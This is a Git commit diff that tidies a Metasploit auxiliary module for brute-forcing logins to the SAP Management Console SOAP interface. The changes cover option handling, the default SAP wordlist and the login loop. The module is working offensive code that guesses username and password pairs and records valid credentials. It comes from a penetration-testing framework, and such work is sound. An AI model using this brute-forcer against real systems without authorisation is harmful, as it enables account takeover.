mc brute tidy

unstable
Meatballs 2014-06-03 17:27:46 +01:00
parent bf52c0b888
commit 0e3549ebc4
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 12 additions and 24 deletions

View File

@ -16,13 +16,10 @@ class Metasploit4 < Msf::Auxiliary
super( super(
'Name' => 'SAP Management Console Brute Force', 'Name' => 'SAP Management Console Brute Force',
'Description' => %q{ 'Description' => %q{
This module simply attempts to brute force the username | This module simply attempts to brute force the username and
password for the SAP Management Console SOAP Interface. By password for the SAP Management Console SOAP Interface. If
setting the SAP SID value, a list of default SAP users can be the SAP_SID value is set it will replace instances of <SAPSID>
tested without needing to set a USERNAME or USER_FILE value. in any user/pass from any wordlist.
The default usernames are stored in
./data/wordlists/sap_common.txt (the value of SAP SID is
automatically inserted into the username to replce <SAPSID>).
}, },
'References' => 'References' =>
[ [
@ -36,8 +33,10 @@ class Metasploit4 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(50013), Opt::RPORT(50013),
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']), OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ])
], self.class) ], self.class)
register_autofilter_ports([ 50013 ]) register_autofilter_ports([ 50013 ])
end end
@ -46,23 +45,14 @@ class Metasploit4 < Msf::Auxiliary
res = send_request_cgi({ res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']), 'uri' => normalize_uri(datastore['URI']),
'method' => 'GET' 'method' => 'GET'
}, 25) })
if not res if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect") print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return return
end end
if datastore['SAP_SID'] != '' print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']
if !datastore['USER_FILE'].nil?
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
elsif !datastore['USERPASS_FILE'].nil?
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
else
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist")
datastore['USER_FILE'] = Msf::Config.data_directory + '/wordlists/sap_common.txt'
end
end
each_user_pass do |user, pass| each_user_pass do |user, pass|
enum_user(user,pass) enum_user(user,pass)
@ -73,7 +63,7 @@ class Metasploit4 < Msf::Auxiliary
def enum_user(user, pass) def enum_user(user, pass)
# Replace placeholder with SAP SID, if present # Replace placeholder with SAP SID, if present
if datastore['SAP_SID'] != '' if datastore['SAP_SID']
user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase) user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase)
pass = pass.gsub("<SAPSID>", datastore["SAP_SID"]) pass = pass.gsub("<SAPSID>", datastore["SAP_SID"])
end end
@ -113,7 +103,7 @@ class Metasploit4 < Msf::Auxiliary
'Content-Type' => 'text/xml; charset=UTF-8', 'Content-Type' => 'text/xml; charset=UTF-8',
'Authorization' => 'Basic ' + user_pass 'Authorization' => 'Basic ' + user_pass
} }
}, 45) })
return if not res return if not res
@ -136,7 +126,7 @@ class Metasploit4 < Msf::Auxiliary
end end
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP #{rhost}] Unable to connect") print_error("#{rhost}:#{rport} [SAP] #{rhost}] Unable to connect")
return return
end end
@ -160,10 +150,8 @@ class Metasploit4 < Msf::Auxiliary
:target_host => rhost, :target_host => rhost,
:target_port => rport :target_port => rport
) )
return
else else
vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'") vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'")
return
end end
end end
end end